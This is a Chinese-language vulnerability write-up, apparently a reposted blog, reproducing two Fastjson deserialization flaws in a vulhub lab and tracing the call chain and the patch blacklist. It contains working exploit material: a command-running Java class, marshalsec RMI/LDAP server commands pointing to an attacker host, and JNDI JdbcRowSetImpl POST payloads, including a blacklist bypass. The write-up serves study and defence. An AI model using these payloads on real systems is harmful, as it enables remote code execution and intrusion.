Fastjson反序列化漏洞分析

什么是fastjson

举个例子,用户在登录提交信息的时候,会输入用户名、密码、验证码等,有的是直接GET参数提交,也就是para=…&para2=…,有些开发人员习惯使用POST提交,并且是JSON格式的,形如"{‘username’=‘admin’, ‘password’=‘123123’}",那么后台代码在解析的时候要能处理复杂的JSON格式,fastjson就是专门干这件事的,前面说过weblogic的XMLDecoder是专门负责将xml数据反序列化的,那么对象也就可以序列化成json的字符串,json字符串也就可以反序列化成对象了

CVE-2017-18349

漏洞简介

fastjson在解析json过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性,反序列化就是面向属性编程,不谋而合了,直接通过set注入就好了,这个autoType在对JSON字符串进行反序列化时,会读取@type的内容,把JSON内容反序列化成对象,并且调用set方法

说到java的反序列化,就绕不过JNDI、LDAP、RMI,之前说log4j的时候,就提到过,log4j通过JNDI提供的lookup去远程访问别的服务器的日志,那么这里也一样,fastjson也支持JNDI,JNDI也支持RMI和LDAP

影响范围

fastjson < 1.2.25

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

漏洞复现

由于我本机的java8版本比较新,这里就用vulhub+远程调试了

更改docker-compose文件,增加调试,我就用5005作为调试端口

version: '2'
services:
 web:
   image: vulhub/fastjson:1.2.24
   ports:
    - "8090:8090"
    - "5005:5005"

   command: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Dserver.address=0.0.0.0 -Dserver.port=8090 -jar /usr/src/fastjsondemo.jar

访问,这个web的功能就是调用fastjson对用户发送的请求进行JSON反序列化

http://192.168.174.134:8090

一般像这种使用jar启动的docker环境,都可以用这种方式来调试,之前的shiro也一样,把容器里的/usr/src/fastjsondemo.jar拷贝出来先解压,再用idea打开,解不解压都行,因为idea加入到lib里就都能看

在这里插入图片描述

将vulhub给的利用java类,使用javac编译为class,当然命令可以自己写,这个是linux的容器

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/cve-2017-18349"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

class编译完成后,使用python开放一个端口出来,这一步是为了让JNDI的RMI/LDAP读取恶意类

python -m http.server 1111

再使用marshalsec开放一个RMI/LDAP的服务,这一步是为了让fastjson通过RMI/LDAP访问我们构造的恶意类,我这里就用LDAP协议了

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.2.99:1111/#TouchFile" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.2.99:1111/#TouchFile" 9999

BP发送请求,期望让fastjson对我们的请求进行反序列化,这里也一样我就用RMI协议了,如果上面用的LDAP那么dataSourceName字段的内容也用ldap

POST / HTTP/1.1
Host: 192.168.239.129:8090
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 274

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.2.99:9999/TouchFile",
        "autoCommit":true
    }
}

在这里插入图片描述

fastjson-1.2.24.jar!\com\alibaba\fastjson\JSON.class的parseObject方法会继续调用parseObject方法,对我们的输入进行解析

在这里插入图片描述

fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class的parseObject方法,会调用deserialze进行反序列化

在这里插入图片描述

fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\deserializer\JavaBeanDeserializer.class的deserialze方法,已经生成了JdbcRowSetImpl的对象了

在这里插入图片描述

这里要再回到我们的payload了,我们给的dataSourceName和autoCommit都是有值的,就是告诉fastjson我们想要给dataSourceName和autoCommit设置值,那fastjson自然会满足我们的需求,去调用setDataSourceName和setAutoCommit方法

在这里插入图片描述

java1.8\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl.class的setDataSourceName方法,这里会自动调用setDataSourceName给dataSourceName赋值

在这里插入图片描述

java1.8\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl.class的setAutoCommit方法,当然也会自动调用connect方法,然后在调用setAutoCommit给autoCommit赋值,当然这个赋值操作已经无所谓了,我们要的是调用connect方法,所以这个赋值爱咋咋不关注了,payload处我们只需要给一个boolean类型的true/false都行

在这里插入图片描述

java1.8\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl.class的connect方法,这里会嗲用lookup去访问内容,这个内容的值是this.getDataSourceName(),而我们发送的payload又让fastjson帮我们执行过setDataSourceName,所以这里this.getDataSourceName()就是ldap://192.168.2.99:9999/TouchFile,然后也就是fastjson调用lookup功能访问这个ldap执行我们的恶意类了

在这里插入图片描述

补丁分析

在反序列化之前加入了类的黑名单校验
请添加图片描述

// 新增的黑名单bshcom.mchangecom.sun.java.lang.Threadjava.net.Socketjava.rmijavax.xmlorg.apache.bcelorg.apache.commons.beanutilsorg.apache.commons.collections.Transformerorg.apache.commons.collections.functorsorg.apache.commons.collections4.comparatorsorg.apache.commons.fileuploadorg.apache.myfaces.context.servletorg.apache.tomcatorg.apache.wicket.utilorg.codehaus.groovy.runtimeorg.hibernateorg.jbossorg.mozilla.javascriptorg.python.coreorg.springframework

CNVD-2019-22238

漏洞简介

既然有补丁,有黑名单就有绕过

影响范围

Fastjson <= 1.2.47

在1.2.45版本中,checkAutoType校验已经比当年的补丁复杂多了

请添加图片描述

漏洞复现

python和ldap那块都不用动,换个请求体

POST / HTTP/1.1
Host: 192.168.174.134:8090
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 268

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.2.99:9999/TouchFile",
        "autoCommit":true
    }
}

猜你喜欢

转载自blog.csdn.net/zy15667076526/article/details/131455546